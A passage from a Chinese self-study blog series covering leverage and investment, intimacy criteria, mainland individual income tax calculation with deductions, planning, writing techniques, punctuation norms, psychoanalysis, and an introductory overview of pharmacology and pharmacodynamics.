　　2. 投资者手中为 100.9 元：平账，不亏不赚。偿还 90.9 元本息后自己仍为 10 元（算上货币的时间价值则为亏本，投资时长越长则亏得越多）。

　　3. 投资者手中大于 100.9 元：明面上为赚，具体盈亏需会计人员具体核算。例如假如原本 10 元投资，利率 1%，可得本息 10.1 元。现在到期后手中持 101 元，减去杠杆 90.9 元为 10.1 元，则和不加杠杆直接投资所赚取的收益相同，从此层面上讲仍然为平账。也即明面上赚取的收益，不足以抵消过去的机会成本。

　　4. 最可怕的情况，投资者手中小于 90.9 元：亏掉自有资金。一旦投资后收益低于 90.9 元，则可能资不抵债破产清算（假设只有 10 元资产）。

　　一般来说杠杆越高、利率越高、投资标的风险越大的情况下，杠杆的风险越高。

　　投资有风险，入市须谨慎。加杠杆更要慎重之慎。


　　南国微雪 Miyuki

　　2024 年 3 月 10 日

封面图

设计师 | 南国微雪

消费与投资

写在前面

正文

　　本文讨论“金融学”下，“理财”的“消费与投资”话题。本话题可列入“经济学”话题下。

　　**消费与投资，只有一个区别：是否期望取得回报。**巨大差异也仅仅源于此。

　　将资本投入某一特定领域：如果仅仅满足当下需要或自身欲望，即为消费；如果期望产生更大的收益或者回报，即为投资。

　　因为产生收益和回报需要一定时间，所以，投资和获得回报中间的时间段不固定，根据投资形式，可以短至几周，也可以长达数年。

　　投资的“期望回报”属性，天然自带“预期”的特性。

　　一个投资产品，预期不能产生好的收益，人们便会抛售，减少沉没成本。经济下行，所有人的预期都很差时，将有大量的人抛售，供过于求，市价进一步下跌，形成踩踏。

　　这就是“信心比黄金重要”的来源。

　　信心回转时，市场便会好转。因此经济学和金融学普遍存在马太效应和正反馈的恶性循环，在经济学的“通货膨胀”一章时，我们会再次看到这一点。

　　针对投资的预期特性，无论是投资者、被投资者还是国家，都要学会“预期管理”。

　　国家出手，是为了给公众释放信号，推动市场信心上涨，避免陷入恶性循环；被投资者预期管理，是为了给投资者信心，避免大量赎回造成现金流断裂（极端是财务造假）；投资者预期管理，是为平衡潜在的风险。

　　正因“预期”这一奇怪特性，将金融和经济的不确定性急剧放大 ，使其无法成为科学（预期很大程度上与人群相关）。

　　来看一个例子：

　　1. 碧桂园 2024 年到期的 100 元 8% 利息债券（本息合计 108 元），在该公司暴雷出事后，该债券价格在二级市场暴跌至不到 10 元一张；

　　2. 与 1 同期的房地产市场（包括不限于股市，ETF）走向正常，未发生暴涨暴跌现象。

　　第二点很奇怪，因为碧桂园影响重大、广泛、深远，涉及众多三四线城市。 从逻辑链上讲，这种重大灾难会造成该公司股债双杀，进而带来整个行业的波动。

　　第二点反常是因为事件太过重大，市场“预期”国家会出场救市（国家也确实如此）。 这种预期直接左右了市场走向。

　　极端的重大事件很容易判别，但涉及到非重大的中小型事件就很难判别了。 市场是人们的集合体，在非重大事件上，每个人的反应都不相同，预期也均不相同。

　　于是，经济学和金融学的不确定性急剧上升。

　　“没人能预测市场”的原因就在于此。

　　学海计划提倡读者将自己的财务情况厘清，部分用于消费，满足当下需要，部分用于投资，保值增值，学会预期和风险管理，拥抱幸福生活。


　　南国微雪 Miyuki

　　2024 年 3 月 21 日

封面图

设计师 | 南国微雪

财务规划

投资理念

保险 | Insurance

保险概述

保险专业名词及解释概述

意外伤害保险

人寿保险

重症或大病医疗保险

养老保险

家庭财产保险

人生各阶段投保指南

保险注意事项

亲密关系 | Intimate Relationship

亲密关系的评判标准

写在前面

正文

　　本文讨论“社会科学”下，“人际关系学”的“亲密关系评判标准”话题。

　　本文所阐述的观点，均出自《亲密关系（第六版）》（罗兰·米勒，人民邮电出版社，2015 年）。

　　亲密关系的评价标准，在社会心理学上有很明确的定义，至少在六个方面存在程度差异：

　　1. 了解（knowledge） ：了解对方的程度，如喜好，厌恶，生活习惯等。

　　2. 关心（care） ：关心、留意对方，挂在心上的程度。

　　3. 相互依赖性（interdependence） ：彼此需要和影响对方的程度。

　　4. 相互一致性（mutuality） ：认同双方在生活上的融合的程度。相互一致性高的关系更可能以“我们”相称，而非“我”和“他们”。

　　5. 信任（trust） ：相信对方的程度。

　　6. 承诺（commitment） ：做出的诺言有多大可能践行。

　　友情，爱情，亲情等感情，在这些维度上有着不同的差异。例如，爱情的各项维度都很高，而友情在相互依赖性上远不如爱情。所以爱情是强耦合高绑定式关系，而友情不是。

　　一些亲密关系会在上面的维度上追加额外的诉求，比如性别要求、宗教信仰、地理距离等。

　　部分人由于性格差异，会对部分指标产生影响。 比如，依恋类型为疏离型的人，天生冷淡而独立，无论是哪种亲密关系，相互依赖性和关心维度都很低；理智、很少冲动的人，承诺维度可能非常高，他们不轻易做出承诺，一旦做出，一定会达成。

　　而上述性格差异的人，在评判自己的亲密关系时，可能会持有另一套不同于此处的标准 ，在上面的基础上进行增减。 如对方的主动性，实际行动的程度、自我表露的高低、仪式感等。

　　有鉴于此，亲密关系的评价指标并非全盘皆同，存在个性化差异。在评价自己的亲密关系时，可以以上面的指标作为参考，进行个性化定制。

　　亲密关系的程度无法定量检测，只能定性评判。

　　愿每个人都能找到适合自己的亲密关系。


　　南国微雪 Miyuki

　　2024 年 2 月 25 日

封面图

设计师 | 南国微雪

税法 | Tax Law

个人综合所得算税方法

写在前面

正文

　　本文讨论“经济学”下，“税法”的“个人综合所得算税方法”话题。

　　声明：本文仅介绍中国大陆的“个人所得税”中“综合所得”的计算方法，香港、澳门特别行政区因有独立的司法和行政权，台湾由于历史原因，三者税法各有不同。

　　税法规定，居民获得以下收入时，应缴纳个人所得税：

　　1. 工资、薪金所得；

　　2. 劳务报酬所得；

　　3. 稿酬所得；

　　4. 特许权使用费所得；

　　5. 经营所得；

　　6. 利息、股息、红利所得；

　　7. 财产租赁所得；

　　8. 财产转让所得；

　　9. 偶然所得。

　　其中第 1-4 项所得（也称综合所得），按纳税年度合并计算个人所得税；第 5-9 项所得，分别计算个人所得税。

　　综合所得适用 3%-45% 的超额累进税率。说人话就是分区间计算。

　　设 X 为应纳税所得额，Y 为税率，Z 为速算扣除数，则税法规定：

　　X<=36,000，Y=3%，Z=0；

　　36,000<X<=144,000，Y=10%，Z=2,520；

　　144,000<X<=300,000，Y=20%，Z=16,920；

　　300,000<X<=420,000，Y=25%，Z=31,920；

　　420,000<X<=660,000，Y=30%，Z=51,920；

　　660,000<X<=960,000，Y=35%，Z=85,920；

　　X>960,000，Y=45%，Z=181,920；

　　应纳税所得额=年总收入-60,000-专项扣除-专项附加扣除-依法确定的其他扣除；

　　专项扣除=个人缴纳的基本养老保险、基本医疗保险、失业保险等社会保险费和住房公积金等；

　　专项附加扣除=子女教育、继续教育、大病医疗、住房贷款利息或者住房租金、赡养老人，3 岁以下婴幼儿照护支出。

　　也即：全年收入不足六万，折合月收入不足五千的，不上税。


　　抽象描述难懂，下面来看一个例子，为使计算简单，假设没有专项附加扣除和其他扣除：


　　现有公民 Foobar，年工资总额 220,000 元，另有兼职劳务所得 50,000 元，个人缴纳三险一金总额 30,000 元，则：


　　应纳税所得额

　　=年总收入-60,000-专项扣除-专项附加扣除-依法确定的其他扣除

　　=(220,000+50,000)-60,000-30,000-0-0

　　=180,000 元


　　因 180,000 大于 144,000 且小于 300,000，最高适用 20% 税率。


　　应纳税额

　　= 低于 3.6 万的 3% 税率部分 + 大于 3.6 万但小于14.4 万的 10% 税率部分 + 最高的 20% 税率部分

　　= 36,000×3% + (144,000-36,000)×10% + (180,000-144,000)×20%

　　= 19080 元


　　此处应纳税额也可直接使用对应最高档的的速算扣除数 180,000×20%-16,920=36,000-16,920=19080 元，结果相同。


　　速算扣除数，本质是将全部应纳税所得额都应用最高档税率，再减去低档税率中不应缴纳的多算部分。

　　以 36,000<X<=144,000，Y=10%，Z=2520 为例：

　　将 X 全部应用 10% 的最高档税率，则 X<=36,000，Y=3%，Z=0 部分，多算了 10%-3%=7% 的税率，所以这部分多算的税额为 36,000×7%=2520。所以该档的速算扣除数 Z=2520。

　　至于专项附加扣除，因为太过复杂，后面再说。注意，专项附加扣除，能减少应纳税额，但需要自己申请。具体可申请类别可参考上文。


　　南国微雪 Miyuki

　　2024 年 2 月 26 日

封面图

设计师 | 南国微雪

专项附加扣除

写在前面

正文

　　本文讨论“经济学”下，“税法”的“专项附加扣除”话题。

　　继上一节，此处继续讨论税法。

　　专项附加扣除=子女教育、继续教育、大病医疗、住房贷款利息或者住房租金、赡养老人，3 岁以下婴幼儿照护支出。

　　2023 年部分地区新增个人养老金扣除。根据国家税务总局办公厅：在缴费环节，个人向个人养老金资金账户的缴费，按照 12000 元/年的限额标准，在综合所得或经营所得中据实扣除。

　　因为个人养老金扣除为试点制度，此处不纳入讨论范围。


　　子女教育：2000 元/月/子女；

　　3 岁以下婴幼儿照护：2000 元/月/孩；

　　赡养老人：独生子女 3000 元/月，如老人有多子女赡养，则每人分摊 3000 元额度；

　　住房贷款利息：首套住房，1000 元/月；

　　住房租金：直辖市 1500 元/月，市辖区人口大于 100 万的 1100 元/月，小于 100 万的 800 元/月；

　　继续教育：学历教育 400 元/月，最长不超过 48 个月，证书 3600 元，多证书不叠加；

　　大病医疗：医保报销之外，个人承担的 15000 以上，80000 以下，据实扣除。


　　注意，此处仅列出部分标准。每项均有其他附加条件，如住房租金和住房贷款利息不能同时享受，并且有连续时间限制。 详情请阅读税法。


　　假设上次的 Foobar 公民，其他情况不变（年工资总额 220,000 元，另有兼职劳务所得 50,000 元，个人缴纳三险一金总额 30,000 元），现在有一些新情况：本年考取了二级建造师，同时 8 月新得一子，另有一女儿读高中，则：


　　专项附加扣除

　　=子女教育+继续教育+大病医疗+住房贷款利息或者住房租金+赡养老人+3 岁以下婴幼儿照护

　　=2,000×12+3,600+0+0+0+2,000×(12-8)

　　=35,600 元


　　应纳税所得额

　　=年总收入-60,000-专项扣除-专项附加扣除-依法确定的其他扣除

　　=(220,000+50,000)-60,000-30,000-35,600-0

　　=180,000-35,600

　　=144,400 元


　　因 144,400 大于 144,000 且小于 300,000，最高适用 20% 税率。


　　应纳税额

　　= 应纳税所得额×适用的最高档税率-速算扣除数

　　= 144,400×20%-16,920

　　= 11,960 元


　　比未计算专项附加扣除的应纳税额 19,080 元，减少了 7,120 元，相当于一台游戏笔记本电脑价值。


　　住房租金为专项附加扣除中，最容易申请，也是最贴近生活的一项。因同一纳税年度不能同时享受住房贷款利息和住房租金，所以两者需慎重考虑（同时也意味着，上一年度租房，此年度首次购房，这种情况允许发生）。

　　最后声明，专项附加扣除需要纳税人主动申报，如未申报，则视为无情况发生。


　　南国微雪 Miyuki

　　2024 年 2 月 28 日

封面图

设计师 | 南国微雪

管理学 | Management

计划

写在前面

正文

　　本文讨论“管理学”下，“管理学导论”的“计划”话题。

　　这篇文章专门写来打击所有“计划赶不上变化”一类人。

　　在管理学中，计划的定义是：对未来活动的事先预测、安排和应变处理。

　　大部分人的印象中，计划仅仅是对未来的安排，而不涉及预测和应变处理。管理学中恰恰强调了这两点。

　　计划指导人们总是把最稀缺的时间资源用于最重要的事情，而不仅仅是严格按计划执行。 （浙江大学，邢以群）

　　比如朋友放鸽子时，突然多出来一大段空闲时间，不妨此时从远期计划中挑一项出来执行；又比如临时来了会议安排，根据会议重要程度，可以选择参加或不参加，参加则可以经过考虑后，将手头的短期计划推迟或删除一些。

　　所以计划并不一定需要完成，计划只是一种预定的、理想的预测。计划一定需要完成，这样的想法是导致自我设限、不做计划、期待落空和情绪低落的根源。

　　最好的方式，当然是变化发生时，根据实际情况解决完变化，而后慢慢修正，回到计划。在计划的执行过程中，再反思，总结和订正计划。

　　计划赶不上变化，很有可能是一些突发情况。如地质灾害，人员缺席等等。此时按紧急重要四象限，可划分为紧急重要，紧急不重要，重要不紧急，不重要不紧急。任何人都知道紧急重要先做，不重要不紧急可有空做或不做。而另外两者，最优的办法，是去做重要的事，而 紧急但不重要的事情，可以授权他人做或不做 。

　　计划按照期限来说，可以分为长期计划和短期计划。长期计划和短期计划相结合可以发挥最大的效益，而在管理学上，效益远大于效率。

　　比如，可以在坐地铁时，打开电子书阅读，完成一年阅读一本书的长期计划，而当到达学校或工作地点时，完成自己当下的学习或工作计划。

　　计划也是沟通的重要手段。 比如上司或教授安排事情做时，一个计划列表可以让其慎重考虑更换人选，也可以侧面证明，自己目前确实正在做事。

　　当然，最后需要承认，计划并不对每一个人都起作用。计划只对那些愿意执行计划的人，有最大的效益。 对于佯装不知或没有行动力的人，计划只能是一个列表。

　　善于计划和善于总结是快速成长的秘诀，而计划只是一种提醒，关键在于行动。


　　南国微雪 Miyuki

　　2024 年 2 月 27 日

封面图

设计师 | 南国微雪

文学 | Literature

叙事欺诈

写在前面

正文

　　本文讨论“文学”下，“写作手法”的“叙事欺诈”话题。

　　叙事欺诈是小说中，尤其是推理小说的常见手法。维基百科上有别称条目“不可靠的叙事者”。术语不同，手法类似。

　　叙事欺诈讲究以叙事者和作者的文笔，对读者加以误导。 例如，叙事者角度可能由于自身环境和自身经历，自然地想到另一种解释。这种解释完全合理，但不是真相，而是作者想要误导读者的期望结果。

　　来看一个例子：

　　“他环顾四周，只看见一个水杯，垂到地面的桌布和微微透出光线的窗帘。他觉得找不到她。忽然一阵微弱的异响，不知从什么地方传来，但他觉得很有可能是她。以她的性子，不可能跑到这样的地方来，于是他走出门去。”

　　上述文段是一个找人的片段。

　　如果作者的安排，是将文中的“她”安排藏在桌布里面，则“垂到地面”已经给出了暗示。这也相当于是一种伏笔。

　　同时，为了误导读者，作者一是加入“水杯”干扰判断，二是刻意加入“不知从什么地方传来”和“以她的性子”修饰，潜移默化地强化“她”不在这里的印象，同时这两处引导可以覆盖原来的暗示，转移读者的注意力。

　　后文可以根据情节安排写作。以下是两个例子：

　　「“你想去哪儿呢？”正要出门，他忽然听到背后传来一阵偷笑的声音。转头，她正从桌布下钻出来，笑嘻嘻地看着自己。」

　　「关门，锁声。某人从桌布下面钻出来，望着门发呆，脸上浮现出一阵失望。」

　　叙事欺诈不止一种途径，暗示加屏蔽是最常见的方法。还有一些高级手法，如多种逻辑、不同角度，和忽略。

　　多逻辑角度，可以引出不同的结果。半杯水，可以引出悲观也可以引出乐观。

　　忽略手法更常见于多时间线，或者多线索线。叙事专注于一条时间或线索，或是在两条时间线索上来回跳跃。无论哪种方式，必然会有一部分时间线索被忽略。被忽略的部分，可以在真相大白的时候加以补充。

　　比如，作者详细描写一个人在工作，而另一个人此时正在被逮捕，但后者被作者叙事过程忽略。

　　最常用多线索加忽略手法的，是剧本杀的剧本。

　　忽略很容易造成“吃书”的弊端。在后文的情节发展中，不得已打破人物的设定，因为读者和作者都不知道人物在忽略时间做了什么，如果不加以限制，原则上人物可以在这段时间做任何事。如果没有合理的逻辑很容易覆盖设定（吃书），比如“盲人忽然重现光明”。

　　总结：叙事欺诈主要是以叙事者和作者的文笔，对读者加以误导。常见方法是暗示加屏蔽、多逻辑角度和忽略等。


　　南国微雪 Miyuki

　　2024 年 2 月 29 日

封面图

设计师 | 南国微雪

画面感

写在前面

正文

　　本文讨论“文学”下，“写作手法”的“画面感”话题。

　　如何写作出画面感，是一个很宏大的命题。每位作家的手法各有不同，学海计划，挑一些最常用、最有效的手法加以阐述，并最后做一个总结。


　　第一种手法，动作连续。

　　「见他进来，宝钗才放下笔，转过身来，满面堆笑让：“周姐姐坐。”」（《红楼梦》第七回：送宫花周瑞叹英莲　谈肄业秦钟结宝玉）

　　这是一个典型的连续动作：见，放，转，堆，让。

　　《红楼梦》作为中国传统文学，将汉语的优势发挥到了极致，每一段信息密度极高。短短几个字，就将宝钗小心谨慎的模样描绘出来。如果过度解读，可以窥见贾史王薛四大家族的阶级现状。

　　需要特别注意的是， 使用动作连续时，其他修饰成分不可过多，否则容易造成画面中断。 文字如同人眼，需要有高帧数才能让读者脑补出其中的画面感。下面举两个例子。

　　「他打开锁，悄悄地合上门，慢慢地走近那个泛着金光的宝箱，小心地抚摸着那冷冰冰的表面，正要打开时，忽听得一声冷笑。」

　　「他打开锁，合上门，走近宝箱，小心地抚摸着。全程，他努力地克制自己不发出声音。正欲打开，忽听得一声冷笑。」

　　这是一个请君入瓮的片段。两段写法各有优劣。就画面感而言，后者比前者要好。为了弥补前者形容窃者小心的姿态，中间特意加了一句，同时也造成了画面的中断。作者需要在自己的需求中取舍。


　　第二种手法，以点带面。

　　小学时，老师都教学生，描写人物不要写“高高的鼻子，大大的嘴巴”之类。缘由在于非常抽象。如果需要描写一个人物气质，做一个比喻，或者着重描写一个点就好。

　　“听到这个消息后，他如同一只受锤的牛。”

　　“他看向歹徒的眼睛，闪烁着让人不寒而栗的光芒。”

　　以点带面，比眉毛胡子一把抓的全面描写，更能产生画面感。


　　第三种手法，逻辑顺序。

　　远近顺序或者时间顺序均可。这种手法更多出现在需要更多层次的描写中。

　　“远处的高山与眼前的大海交织，让人仿佛同时身处华东与西南。”

　　“过去的我会想着抄作业，而现在的我，尽力寻找答案。”

　　逻辑顺序写成的画面感不如前两者强，因为层次需要读者有意识地理清楚，而非一见便知，但应用范围也更广，不受笔下的视角限制。


　　所有想要营造画面感的写作手法，都有一个特点：脉络清晰。 无论那种手法，最要紧的目的，是让读者知道作者的头脑是清晰的，作者也应该知道自己的目的是什么。

　　将层次拔高一些，只要有清晰的脉络，再从时间、空间和想象入手。无论采用那种手法，都能达成画面感的效果。


　　南国微雪 Miyuki

　　2024 年 3 月 18 日

封面图

设计师 | 南国微雪

信息密度

语言学 | Linguistics

标点符号

写在前面

正文

　　本文讨论“语言学”下，“写作规范”的“标点符号”话题。

　　标点符号本不在学海计划范围之内，然而观察大多数网络文学和部分译作，标点符号有明显用法错误。

　　本文标点符号用法参照国家规范《中华人民共和国标点符号用法》（标准号：GB/T 15834-2011）。

　　一些常见的错误如下：

　　1. 多书名号之间不用标点（逗号或顿号）：《红楼梦》《西游记》；

　　2. 所有中文标点，都应为全角标点，但间隔号除外；

　　2.1. “·”为外国人名间隔号；

　　2.2. “•”为无序列表；

　　2.3. “・”为日式中点。

　　3. 括号附加说明时，括号内语句是否有结尾标点取决于修饰中心，也称句内括号（修饰词语）和句外括号（修饰句子）；

　　3.1. 我很喜欢水果（比如蓝莓、葡萄）；

　　3.2. 他说他不知道。（或许只是假装不知道。）

　　4. 六角括号仅用于政府文件等文号：国办发〔2024〕1 号

　　5. 顿号停顿较短，逗号停顿较长，因此逗号优先级应大于顿号，如有并列项需加以区别；

　　5.1. 各个地方的常见别称都不太一样：如蔬菜里的土豆、马铃薯和洋芋，水果里的龙眼、比目和桂圆

　　暂先列出一些。

　　另外还有一些不成文的、取决于个人的用法：

　　1. 有序列表在数字和句点后，是否空格：“1.”和“1. ”；

　　2. 全角字符和半角字符中，是否添加半角空格（此空格被称为盘古之白，微信手机版已经默认为所有发出的消息添加此空格）：“Linux系统”和“Linux 系统”；

　　3. 严格意义上，中文使用的引号只有“”，但书写大段篇幅需要引用时（如公告，通报和大段直述），可使用直角引号「」；

　　4. 数量单位区间，前后是否都带单位：“1m-5m”和“1-5m”。

　　暂先列出一些。

　　最奇怪的应该是一些小说作者，不知道引号的两个常见用法：

　　1. 直述之间可以添加描写或动作，使文章更生动：「“我爱你，”她直视着他，“这是我的事，”随后开始笑，“我只是想告诉你这件事。”」通过语言和动作交错进行，更有连续的画面感，效果远好于「“我爱你，这是我的事，我只是想告诉你这件事。”她直视着她，随后开始笑。」

　　2. 大段篇幅需要引用时，正式文体中一般采用多段前引号的方式。注意，除最后一段外不需要标出后引号：

　　「

　　“大段内容一。

　　“大段内容二。

　　“大段内容三。

　　“大段内容四。”

　　」

　　本文所列标点符号用法仅为一部分。

　　如果说，内容和手法是内在，则表达方式即为外在。好的文章，至少，不会让人产生不想阅读的想法。

　　中文仍然需要学习，需要持续的学习。


　　南国微雪 Miyuki

　　2024 年 3 月 1 日

封面图

设计师 | 南国微雪

心理学 | Psychology

精神分析概述

写在前面

正文

　　本文讨论“心理学”下，“普通心理学”的“精神分析概述”话题。

　　精神分析是西格蒙德·弗洛伊德所创立的一门心理学流派。精神分析在学术界饱受争议¹，不仅仅因为弗洛伊德本人的作风，还有精神分析本身的不可证伪性。下文会提到这两者。

　　精神分析的原则如下：

　　1. 包括遗传的性格构造在内，人心理的发展是由幼时的经历决定的。

　　2. 人类的行为，经历和认知大部分是由非理性的欲望所决定的。

　　3. 这些欲望大多是无意识的。

　　4. 试图将这些无意识的欲望引至意识层面会引起自身保卫机制的心理抵抗。

　　5. 意识与潜意识（被抑制的）与现实之间的矛盾会引起心理疾病如精神衰弱等。

　　6. 这些被抑制的潜意识可以通过专业手段来使患者意识到。

　　这些原则为精神分析的不可证伪性提供了完美的逻辑自洽。 精神分析的不可证伪性，在于即使对象认为精神分析的内容不对，提出反驳，精神分析学者也会视为其潜意识的反抗。 由此，心理学界诞生一个关于精神分析的笑话。

　　一个正常人，正在接受一名精神分析学家调查。精神分析学家对他说：“你有病。”

　　1. 如果那人说：“对，我有病。”精神分析学家会说：“你看，我是对的。”

　　2. 如果那人说：“怎么可能，我没病。”精神分析学家会说：“你之所以这么说，是因为你潜意识不想承认自己有病的事实，所以我是对的。”

　　所以不少科学家都认为精神分析是“伪科学”，更有甚者痛斥为“流氓”。这也符合许多人对于弗洛伊德本人的印象。

　　弗洛伊德建立精神分析学说时，不少假设或理论都从性的角度出发，如“阴|茎羡妒”和“子|宫|阴|道羡妒”。

　　精神分析影响较大的的主要理论有：

　　1. 潜意识、前意识与意识

　　2. 本我、自我与超我

　　3. 伊底帕斯情结（恋母情结）

　　4. 创伤理论与防卫机制

　　5. 性心理发展（口腔期、肛门期、性器期、潜伏期、生殖期）

　　尽管精神分析理论在许多方面都有所不足，但由于其开创性的理论，仍然对文学、哲学、心理学和精神病学等领域上产生了巨大的影响。此后，心理学开始了迅速的发展。

　　

　　南国微雪 Miyuki

　　2024 年 3 月 4 日

贡献者

  1. 来自【Carl Rogers】的补充：

“

　　为什么弗洛伊德的理论现在不具有影响力？

　　人本主义心理学对人性的积极态度与 1960 年代的时代精神相吻合。此外，弗洛伊德的理论很难去验证，而不能验证的理论在心理学或其他学科中都没什么市场。尽管弗洛伊德对于无意识过程的重视对心理学的发展产生过长久的影响，心理学家们还是开始认真地质疑弗洛伊德理论的许多内容。这一时期，一些心理学家如亚伯拉罕·马斯洛（AbrahamMaslow，1908-1970）和卡尔·罗杰斯（CarlRogers，1902-1987）掀起了一场称为人本主义心理学（humanisticpsy-chology）的运动，该取向在研究人性的过程中强调人的积极潜能。人本主义心理学家关注人们对自身的热切渴望。相对于把人看作过去经历的囚徒，人本主义心理学家认为人是自由的个体，具有发展、成长、发挥其所有潜力的内在需求。20 世纪 60 年代，当“花之子（嬉皮士）”的那代人发现可以把心理世界看作是一种精神的绽放时，人本主义运动达到了顶峰。人本主义治疗师帮助人们意识到自身潜能，事实上，人本主义治疗师把求助者称为客户而不是病人。在这种关系中，治疗师和客户（而不是精神分析师和病人）之间是平等的。人本主义视角的兴起是弗洛伊德学说影响日益消退的更主要的原因。

”

——《心理学（第三版）》Daniel Schacter 等／傅小兰等译

封面图

设计师 | 南国微雪

药理学 | Pharmacology

药理学概述

写在前面

正文

　　本文讨论“医学”下，“药理学”的“总论”话题。

　　本文只进行一个先导概览，了解药理学的学科用途和基本概念。

　　注意：在阐述药理学内容时，会假定读者具有最基本的初中生物学和化学知识，如人体八大系统，原子和离子的概念等。

　　药理学是研究药物与机体间相互作用规律及其药物作用机制的一门科学。 简单来说，药物怎样影响我们的身体，后果会怎样，身体会怎样反应，药物之间会有怎样的有趣现象。

　　根据人民卫生出版社出版的医学教材《药理学》，大概可分为 49 章内容。学海计划并不会针对全部内容加以讲解，仅了解常识即可。参考的教材目录如下（序号即为对应的章节号）：

　　1. 药理学总论：绪言

　　2. 药物代谢动力学

　　3. 药物效应动力学

　　4. 影响药物效应的因素

　　5. 传出神经系统药理概论

　　6. 胆碱受体激动药

　　7. 抗胆碱酯酶药和胆碱酯酶复活药

　　8. 胆碱受体阻断药(I)-M：胆碱受体阻断药

　　9. 胆碱受体阻断药(II)-N：胆碱受体阻断药

　　10. 肾上腺素受体激动药

　　11. 肾上腺素受体阻断药

　　12. 中枢神经系统药理学概论

　　13. 全身麻醉药

　　14. 局部麻醉药

　　15. 镇静催眠药

　　16. 抗癫痫药和抗惊厥药

　　17. 治疗中枢神经系统退行性疾病药

　　18. 抗精神失常药

　　19. 镇痛药

　　20. 解热镇痛抗炎药

　　21. 离子通道概论及钙通道阻滞药

　　22. 抗心律失常药

　　23. 作用于肾素-血管紧张素系统的药物

　　24. 利尿药

　　25. 抗高血压药

　　26. 治疗心力衰竭的药物

　　27. 调血脂药与抗动脉粥样硬化药

　　28. 抗心绞痛药

　　29. 作用于血液及造血系统的药物

　　30. 影响自体活性物质的药物

　　31. 作用于呼吸系统的药物

　　32. 作用于消化系统的药物

　　33. 子宫平滑肌兴奋药和抑制药

　　34. 性激素类药及避孕药

　　35. 肾上腺皮质激素类药物

　　36. 甲状腺激素及抗甲状腺药

　　37. 胰岛素及其他降血糖药

　　38. 抗骨质疏松药

　　39. 抗菌药物概论

　　40. β-内酰胺类抗生素

　　41. 大环内酯类、林可霉素类及多肽类抗生素

　　42. 氨基苷类抗生素

　　43. 四环素类及氯霉素类

　　44. 人工合成抗菌药

　　45. 抗病毒药和抗真菌药

　　46. 抗结核药及抗麻风病药

　　47. 抗寄生虫药

　　48. 抗恶性肿瘤药

　　49. 影响免疫功能的药物

　　后文中，将着重介绍：药动学、药效学、受体理论、传出神经系统药理概论。各论部分挑常见基础病（高血压、高血脂、高血糖、高尿酸等）用药进行讲解。


　　南国微雪 Miyuki

　　2024 年 3 月 8 日

封面图

设计师 | 南国微雪

药效学概述

写在前面

正文

　　本文讨论“医学”下，“药理学”的“药效学概述”话题。因药效学内容繁杂，将分多个章节进行说明。

　　药理学有两大细分领域：药动学焦点聚集在人体对于药物的代谢，焦点在人；而药效学聚焦在药物本身的理化性质，以及对人体的作用，焦点在药。

　　先来看药效学。

　　药效学主要研究药物对机体的作用及其规律，阐明药物防治疾病的机制。具体可以分为：

　　1. 药理作用；

　　2. 作用机制；

　　3. 临床应用；

　　4. 不良反应；

　　5. 药物之间的相互影响。

　　药物有两种基本作用：治疗作用和不良反应。如果甲药物有三种作用：A、B 和 C。若 A 为治疗作用，则 B 和 C 即为不良反应。具体来说，吗啡常用作镇痛药，可大幅减轻病人疼痛（治疗作用），但其强成瘾性和抑制呼吸的作用（不良反应），让其应用场景受到严重限制。一般仅仅作为最终的强阿片类镇痛药使用。

　　药物研发和医学研究的目的，就在于弄清疾病的发作机制，减少药物的副作用。

　　来看一个例子：

　　阿托品具有八大作用，其中一个为解除胃肠道的痉挛（药理作用），临床上可以用作解痉药（临床应用）。

　　阿托品通过阻断 M 受体达到解痉效果（作用机制），但因为其他器官上也会有 M 受体，所以会一并影响其他器官，出现如视物模糊、心跳加快、口干舌燥等反应（不良反应）。

　　如要对抗阿托品中毒，激动 M 受体即可，可用药品如毛果芸香碱等（药物之间的相互影响）。

　　因阿托品副作用过多，于是研发出了胃肠道受体高度亲和的哌(pài)仑西平，该药物对其他器官的 M 受体亲和力不高，在治疗作用相同的情况下，副作用强度远小于阿托品（药物研发）。

　　其中的术语不理解不要紧，后面都会慢慢讲。此处列出例子，只为串联知识点，留下药效学的基础印象。

　　药效学的不良反应、受体理论、量效构效关系、药物分类等，将在后文分别阐述。


　　南国微雪 Miyuki

　　2024 年 3 月 13 日

封面图

设计师 | 南国微雪

不良反应

受体理论